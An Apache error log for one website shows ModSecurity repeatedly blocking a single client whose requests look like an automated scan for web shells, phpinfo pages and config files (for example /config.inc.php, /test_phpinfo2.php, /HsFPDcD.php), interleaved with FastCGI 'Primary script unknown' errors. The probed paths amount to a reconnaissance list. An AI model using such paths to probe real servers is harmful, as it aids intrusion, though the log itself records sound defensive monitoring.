[Sat Apr 25 03:59:17.038965 2026] [:error] [pid 44319:tid 44353] [client 20.251.112.6:63055] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/litespeed.php"] [unique_id "aevLlczJPAVLUb2pWtI1zQAAABg"]
[Sat Apr 25 03:59:18.199540 2026] [:error] [pid 46083:tid 46107] [client 20.251.112.6:38091] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/environments.php"] [unique_id "aevLljxw_Zq74vWdjmnkogAAARM"]
[Sat Apr 25 03:59:20.699014 2026] [:error] [pid 44320:tid 44367] [client 20.251.112.6:48097] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/environments.php"] [unique_id "aevLmDmFqSpku_dij8hUAgAAAEs"]
[Sat Apr 25 03:59:22.192146 2026] [:error] [pid 44319:tid 44335] [client 20.251.112.6:4686] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/environments.php"] [unique_id "aevLmszJPAVLUb2pWtI1zwAAAAY"]
[Sat Apr 25 03:59:24.423696 2026] [:error] [pid 44320:tid 44375] [client 20.251.112.6:43122] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/environments.php"] [unique_id "aevLnDmFqSpku_dij8hUEwAAAFM"]
[Sat Apr 25 03:59:25.759789 2026] [:error] [pid 44320:tid 44377] [client 20.251.112.6:32997] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raf.php"] [unique_id "aevLnTmFqSpku_dij8hUFQAAAFU"]
[Sat Apr 25 03:59:27.671110 2026] [:error] [pid 46083:tid 46095] [client 20.251.112.6:4672] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raf.php"] [unique_id "aevLnzxw_Zq74vWdjmnkqAAAAQg"]
[Sat Apr 25 03:59:28.623051 2026] [:error] [pid 44319:tid 44336] [client 20.251.112.6:48096] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raf.php"] [unique_id "aevLoMzJPAVLUb2pWtI12gAAAAc"]
[Sat Apr 25 03:59:30.361004 2026] [:error] [pid 46083:tid 46097] [client 20.251.112.6:45607] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raf.php"] [unique_id "aevLojxw_Zq74vWdjmnkrQAAAQo"]
[Sat Apr 25 03:59:32.096956 2026] [:error] [pid 46083:tid 46098] [client 20.251.112.6:4695] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aevLpDxw_Zq74vWdjmnkrwAAAQs"]
[Sat Apr 25 03:59:34.938783 2026] [:error] [pid 44425:tid 44427] [client 20.251.112.6:63057] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aevLpiUl-VlItvY2tR_NfQAAAMA"]
[Sat Apr 25 03:59:36.877711 2026] [:error] [pid 44321:tid 44390] [client 20.251.112.6:4658] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aevLqI1b5lV-asWa_Y4CfwAAAIc"]
[Sat Apr 25 03:59:39.063890 2026] [:error] [pid 46083:tid 46099] [client 20.251.112.6:38143] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aevLqzxw_Zq74vWdjmnktgAAAQw"]
[Sat Apr 25 03:59:39.847038 2026] [:error] [pid 46083:tid 46094] [client 20.251.112.6:33006] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/infos.php"] [unique_id "aevLqzxw_Zq74vWdjmnkuAAAAQc"]
[Sat Apr 25 03:59:41.257770 2026] [:error] [pid 44425:tid 44447] [client 20.251.112.6:43084] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/infos.php"] [unique_id "aevLrSUl-VlItvY2tR_NhAAAANQ"]
[Sat Apr 25 03:59:42.349867 2026] [:error] [pid 44319:tid 44335] [client 20.251.112.6:45630] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/infos.php"] [unique_id "aevLrszJPAVLUb2pWtI16gAAAAY"]
[Sat Apr 25 03:59:43.383579 2026] [:error] [pid 44321:tid 44407] [client 20.251.112.6:63095] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/infos.php"] [unique_id "aevLr41b5lV-asWa_Y4ChAAAAJg"]
[Sat Apr 25 03:59:44.370856 2026] [:error] [pid 44321:tid 44387] [client 20.251.112.6:4617] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aws.php"] [unique_id "aevLsI1b5lV-asWa_Y4CigAAAIQ"]
[Sat Apr 25 03:59:45.295154 2026] [:error] [pid 44425:tid 44447] [client 20.251.112.6:42333] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aws.php"] [unique_id "aevLsSUl-VlItvY2tR_NjgAAANQ"]
[Sat Apr 25 03:59:46.505762 2026] [:error] [pid 46083:tid 46097] [client 20.251.112.6:48127] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aws.php"] [unique_id "aevLsjxw_Zq74vWdjmnkvgAAAQo"]
[Sat Apr 25 03:59:47.395724 2026] [:error] [pid 46083:tid 46108] [client 20.251.112.6:63087] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aws.php"] [unique_id "aevLszxw_Zq74vWdjmnkwwAAARQ"]
[Sat Apr 25 03:59:48.064028 2026] [:error] [pid 44320:tid 44380] [client 20.251.112.6:49699] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/embed.php"] [unique_id "aevLtDmFqSpku_dij8hULwAAAFg"]
[Sat Apr 25 03:59:49.652358 2026] [:error] [pid 44320:tid 44376] [client 20.251.112.6:38121] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/embed.php"] [unique_id "aevLtTmFqSpku_dij8hUMQAAAFQ"]
[Sat Apr 25 03:59:50.841741 2026] [:error] [pid 44321:tid 44405] [client 20.251.112.6:49673] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/embed.php"] [unique_id "aevLto1b5lV-asWa_Y4ClAAAAJY"]
[Sat Apr 25 03:59:52.161191 2026] [:error] [pid 46083:tid 46107] [client 20.251.112.6:63064] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/embed.php"] [unique_id "aevLuDxw_Zq74vWdjmnkzQAAARM"]
[Sat Apr 25 03:59:53.298379 2026] [:error] [pid 44321:tid 44398] [client 20.251.112.6:45602] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stat.php"] [unique_id "aevLuY1b5lV-asWa_Y4CmQAAAI8"]
[Sat Apr 25 03:59:54.328509 2026] [:error] [pid 44319:tid 44340] [client 20.251.112.6:45598] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stat.php"] [unique_id "aevLuszJPAVLUb2pWtI18AAAAAs"]
[Sat Apr 25 03:59:56.477826 2026] [:error] [pid 44320:tid 44368] [client 20.251.112.6:4177] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stat.php"] [unique_id "aevLvDmFqSpku_dij8hUPgAAAEw"]
[Sat Apr 25 03:59:57.678214 2026] [:error] [pid 46083:tid 46111] [client 20.251.112.6:42323] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stat.php"] [unique_id "aevLvTxw_Zq74vWdjmnk2QAAARc"]
[Sat Apr 25 03:59:59.033516 2026] [:error] [pid 44425:tid 44447] [client 20.251.112.6:49681] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aevLvyUl-VlItvY2tR_NkwAAANQ"]
[Sat Apr 25 04:00:02.187081 2026] [:error] [pid 44319:tid 44352] [client 20.251.112.6:32965] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aevLwszJPAVLUb2pWtI1-gAAABc"]
[Sat Apr 25 04:00:05.058949 2026] [:error] [pid 44321:tid 44386] [client 20.251.112.6:48125] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aevLxY1b5lV-asWa_Y4CtgAAAIM"]
[Sat Apr 25 04:00:08.250944 2026] [:error] [pid 44319:tid 44345] [client 20.251.112.6:37704] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/setup.php"] [unique_id "aevLyMzJPAVLUb2pWtI2AQAAABA"]
[Sat Apr 25 04:00:09.973151 2026] [proxy_fcgi:error] [pid 46083:tid 46105] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:10.243047 2026] [proxy_fcgi:error] [pid 46083:tid 46095] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:10.509184 2026] [proxy_fcgi:error] [pid 46083:tid 46111] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:10.774054 2026] [proxy_fcgi:error] [pid 46083:tid 46102] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:11.049830 2026] [proxy_fcgi:error] [pid 46083:tid 46089] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:11.313377 2026] [proxy_fcgi:error] [pid 46083:tid 46112] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:11.582407 2026] [proxy_fcgi:error] [pid 46083:tid 46095] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:11.859120 2026] [proxy_fcgi:error] [pid 46083:tid 46108] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:12.130564 2026] [proxy_fcgi:error] [pid 46083:tid 46102] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:12.392438 2026] [proxy_fcgi:error] [pid 46083:tid 46092] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:12.655981 2026] [proxy_fcgi:error] [pid 46083:tid 46100] [client 20.251.112.6:4196] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:00:12.921304 2026] [:error] [pid 46083:tid 46104] [client 20.251.112.6:4196] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevLzDxw_Zq74vWdjmnlLwAAARE"]
[Sat Apr 25 04:00:14.568106 2026] [:error] [pid 46083:tid 46095] [client 20.251.112.6:41828] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevLzjxw_Zq74vWdjmnlNwAAAQg"]
[Sat Apr 25 04:00:16.529688 2026] [:error] [pid 44321:tid 44407] [client 20.251.112.6:48092] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevL0I1b5lV-asWa_Y4CyAAAAJg"]
[Sat Apr 25 04:00:20.045611 2026] [:error] [pid 44320:tid 44371] [client 20.251.112.6:63086] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevL1DmFqSpku_dij8hUbQAAAE8"]
[Sat Apr 25 04:00:21.303233 2026] [:error] [pid 44320:tid 44374] [client 20.251.112.6:43788] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevL1TmFqSpku_dij8hUbgAAAFI"]
[Sat Apr 25 04:00:22.491329 2026] [:error] [pid 44425:tid 44427] [client 20.251.112.6:33008] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevL1iUl-VlItvY2tR_NowAAAMA"]
[Sat Apr 25 04:00:24.269576 2026] [:error] [pid 44425:tid 44450] [client 20.251.112.6:38120] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevL2CUl-VlItvY2tR_NqAAAANc"]
[Sat Apr 25 04:00:25.889331 2026] [:error] [pid 44320:tid 44359] [client 20.251.112.6:43094] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevL2TmFqSpku_dij8hUeAAAAEM"]
[Sat Apr 25 04:00:28.388907 2026] [:error] [pid 46083:tid 46092] [client 20.251.112.6:37736] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.inc.php"] [unique_id "aevL3Dxw_Zq74vWdjmnlewAAAQU"]
[Sat Apr 25 04:00:30.539272 2026] [:error] [pid 44425:tid 44445] [client 20.251.112.6:4690] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.inc.php"] [unique_id "aevL3iUl-VlItvY2tR_NrwAAANI"]
[Sat Apr 25 04:00:31.461841 2026] [:error] [pid 46083:tid 46101] [client 20.251.112.6:43082] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.inc.php"] [unique_id "aevL3zxw_Zq74vWdjmnlhgAAAQ4"]
[Sat Apr 25 04:00:32.555325 2026] [:error] [pid 46083:tid 46091] [client 20.251.112.6:33019] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.inc.php"] [unique_id "aevL4Dxw_Zq74vWdjmnljAAAAQQ"]
[Sat Apr 25 04:00:34.003711 2026] [:error] [pid 44321:tid 44392] [client 20.251.112.6:32960] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpversion.php"] [unique_id "aevL4o1b5lV-asWa_Y4C1QAAAIk"]
[Sat Apr 25 04:00:35.457722 2026] [:error] [pid 44320:tid 44368] [client 20.251.112.6:49723] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpversion.php"] [unique_id "aevL4zmFqSpku_dij8hUhwAAAEw"]
[Sat Apr 25 04:00:36.638780 2026] [:error] [pid 44425:tid 44441] [client 20.251.112.6:41834] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpversion.php"] [unique_id "aevL5CUl-VlItvY2tR_NtQAAAM4"]
[Sat Apr 25 04:00:37.969810 2026] [:error] [pid 44320:tid 44359] [client 20.251.112.6:38088] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpversion.php"] [unique_id "aevL5TmFqSpku_dij8hUjQAAAEM"]
[Sat Apr 25 04:00:38.941565 2026] [:error] [pid 46083:tid 46107] [client 20.251.112.6:49668] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aevL5jxw_Zq74vWdjmnlrgAAARM"]
[Sat Apr 25 04:00:42.142966 2026] [:error] [pid 46083:tid 46089] [client 20.251.112.6:41794] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asus.php"] [unique_id "aevL6jxw_Zq74vWdjmnlvwAAAQI"]
[Sat Apr 25 04:01:06.931669 2026] [:error] [pid 44321:tid 44392] [client 20.251.112.6:37699] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php_version.php"] [unique_id "aevMAo1b5lV-asWa_Y4C8QAAAIk"]
[Sat Apr 25 04:01:08.159421 2026] [:error] [pid 46083:tid 46097] [client 20.251.112.6:4204] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php_version.php"] [unique_id "aevMBDxw_Zq74vWdjmnmLAAAAQo"]
[Sat Apr 25 04:01:13.034251 2026] [proxy_fcgi:error] [pid 44320:tid 44376] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
[Sat Apr 25 04:01:13.337374 2026] [proxy_fcgi:error] [pid 44320:tid 44373] [client 20.251.112.6:45584] AH01071: Got error 'Primary script unknown'
